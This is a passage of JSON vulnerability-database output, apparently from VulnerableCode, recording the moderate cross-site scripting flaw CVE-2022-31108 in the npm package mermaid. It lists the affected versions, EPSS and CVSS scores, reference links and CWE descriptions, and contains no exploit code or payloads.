qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.9"},{"url":"http://public2.vulnerablecode.io/api/packages/319032?format=json","purl":"pkg:npm/mermaid@8.13.10","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.10"},{"url":"http://public2.vulnerablecode.io/api/packages/319033?format=json","purl":"pkg:npm/mermaid@8.14.0-rc1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.14.0-rc1"},{"url":"http://public2.vulnerablecode.io/api/packages/319034?format=json","purl":"pkg:npm/mermaid@8.14.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.14.0"},{"url":"http://public2.vulnerablecode.io/api/packages/319035?format=json","purl":"pkg:npm/mermaid@9.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/319036?format=json","purl":"pkg:npm/mermaid@9.0.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.0.1"},{"url":"http://public2.vulnerablecode.io/api/packages/319037?format=json","purl":"pkg:npm/mermaid@9.1.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.0"},{"url":"http://public2.vulnerablecode.io/api/packages/319038?format=json","purl":"pkg:npm/mermaid@9.1.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.1"},{"url":"http://public2.vulnerablecode.io/api/packages/81322?format=json","purl":"pkg:npm/mermaid@9.1.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.2"}],"references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2022-31108","reference_id":"","reference_type":"","scores":[{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.4639","published_at":"2026-05-12T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46499","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46479","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46537","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46535","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46482","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46463","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46474","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46421","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46326","published_at":"2026-05-05T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46392","published_at":"2026-05-07T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46412","published_at":"2026-05-09T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46356","published_at":"2026-05-11T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46451","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.4647","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.4642","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46475","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00235","scoring_system":"epss","scoring_elements":"0.46476","published_at":"2026-04-09T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2022-31108"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31108","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31108"},{"reference_url":"https://github.com/mermaid-js/mermaid","reference_id":"","reference_type":"","scores":[{"value":"4.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mermaid-js/mermaid"},{"reference_url":"https://github.com/mermaid-js/mermaid/commit/0ae1bdb61adff1cd485caff8c62ec6b8ac57b225","reference_id":"","reference_type":"","scores":[{"value":"4.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-22T15:45:53Z/"}],"url":"https://github.com/mermaid-js/mermaid/commit/0ae1bdb61adff1cd485caff8c62ec6b8ac57b225"},{"reference_url":"https://github.com/mermaid-js/mermaid/security/advisories/GHSA-x3vm-38hw-55wf","reference_id":"","reference_type":"","scores":[{"value":"4.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-22T15:45:53Z/"}],"url":"https://github.com/mermaid-js/mermaid/security/advisories/GHSA-x3vm-38hw-55wf"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2022-31108","reference_id":"","reference_type":"","scores":[{"value":"4.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-31108"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1014540","reference_id":"1014540","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1014540"},{"reference_url":"https://github.com/advisories/GHSA-x3vm-38hw-55wf","reference_id":"GHSA-x3vm-38hw-55wf","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-x3vm-38hw-55wf"}],"weaknesses":[{"cwe_id":74,"name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","description":"The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."},{"cwe_id":79,"name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","description":"The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users."},{"cwe_id":1035,"name":"OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities","description":"Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017."},{"cwe_id":937,"name":"OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities","description":"Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013."}],"exploits":[],"severity_range_score":"4.0 - 6.9","exploitability":"0.5","weighted_severity":"6.2","risk_score":3.1,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-6qac-5y2d-akdd"}